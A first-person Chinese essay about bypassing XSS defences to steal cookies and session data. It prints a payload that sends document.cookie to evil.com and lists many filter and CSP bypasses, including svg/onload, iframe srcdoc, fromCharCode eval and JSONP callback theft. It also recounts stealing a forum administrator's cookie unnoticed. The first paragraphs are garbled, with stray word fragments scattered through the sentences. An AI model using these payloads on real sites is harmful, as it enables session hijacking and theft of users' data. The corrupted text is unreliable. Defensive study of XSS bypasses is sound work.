去年冬天，绕过我在一个电商站点的洞防到远搜索框里敲下 <img src=x onerror="fetch('http://evil.com/steal?c='+document.cookie)">，回车。范措发送页面刷新后，程主服务器把我的绕过输入原封不动吐了回来——标签被转义了，尖括号变成了 <。洞防到远看起来挺安全。范措发送可当我换成 <svg/onload=...> 时，程主转义逻辑漏掉了自闭合标签里的绕过斜杠。Cookie 就这样被发到了我自己的洞防到远 VPS 上。

很多开发者以为把 < 和 > 替换掉就万事大吉。范措发送现实是程主，XSS 的绕过绕过手法比他们想象的脏得多。我见过一个后台管理系统，洞防到远输入过滤只检查了 script 关键词，范措发送却忘了 onerror、onload 这些事件属性。攻击者用 <img src=1 onerror=...> 照样能执行任意 JS。更离谱的是，有些 WAF 只拦小写，你把 OnErRoR 混着写就过去了。

拿 Cookie 来说，HttpOnly 标记本该是最后一道防线。但我在渗透测试里遇到过不少站点，登录后的会话 Cookie 压根没加这个属性。只要 XSS 能执行，document.cookie 就是明文摆在那里。有一回，某论坛的富文本编辑器允许 <iframe srcdoc=...>，而 srcdoc 里的内容不走主文档的 CSP。我塞进去一段 fetch，三秒后远程服务器就收到了管理员的 Cookie。那个管理员当时正在审核帖子，完全没察觉。

绕过手段远不止标签变形。javascript: 伪协议在 href 里经常被忽略。还有 CSS 注入——background:url("javascript:...") 在老版本浏览器里能触发。更隐蔽的是利用 window.name 或者 postMessage 跨域传递数据。我试过一个场景：页面把用户输入拼进 eval()，但过滤了引号。用 String.fromCharCode 拼出 Cookie 窃取代码，照样跑通。

说个具体的。某次我拿到一个站点的反射型 XSS，但 HttpOnly 开着。按常理没戏。可那个站点同时存在一个 JSONP 接口，返回内容里带了用户信息。我写了个 <script src="/api/user?callback=steal">，steal 函数把返回的 JSON 发到远程。虽然拿不到 Cookie，但拿到了 CSRF token 和手机号。这算曲线救国。所以别以为 HttpOnly 就高枕无忧，XSS 能做的事太多了。

防御方通常堆一堆规则：转义、CSP、HttpOnly、SameSite。可规则越多，绕过缝隙往往越明显。我见过 CSP 设了 script-src 'self'，却允许 unsafe-eval，攻击者用 setTimeout('code') 就绕了。还有 SameSite=Lax 在旧浏览器里不生效，跨站请求照样带 Cookie。最讽刺的是，有些站点用前端框架自动转义，但服务端渲染时又手动拼了字符串，两套逻辑打架，XSS 就从缝里钻出来。

写这些不是教人攻击。我在自己搭的靶场上反复试过，每一次绕过成功，都对应着一条被忽视的细节。比如 <input autofocus onfocus=...> 在页面加载时自动触发，不需要用户交互。再比如 <details open ontoggle=...>，很多人根本不知道 ontoggle 这个事件。防御者如果只盯着 script 和 img，漏掉这些冷门标签，Cookie 照样飞走。

最后说个真事。某次漏洞赏金项目，我提交了一个 XSS，能窃取 Cookie。厂商回复说“我们已经用了 HttpOnly，不算漏洞”。我回了一句：那我能用你的 XSS 改用户邮箱，然后走密码重置流程接管账号。他们沉默了。Cookie 只是 XSS 的冰山一角，绕过防范措施的方法永远比文档里写的多。别信“已经安全了”这种话，去实际测一下 document.cookie 到底能不能被读出来。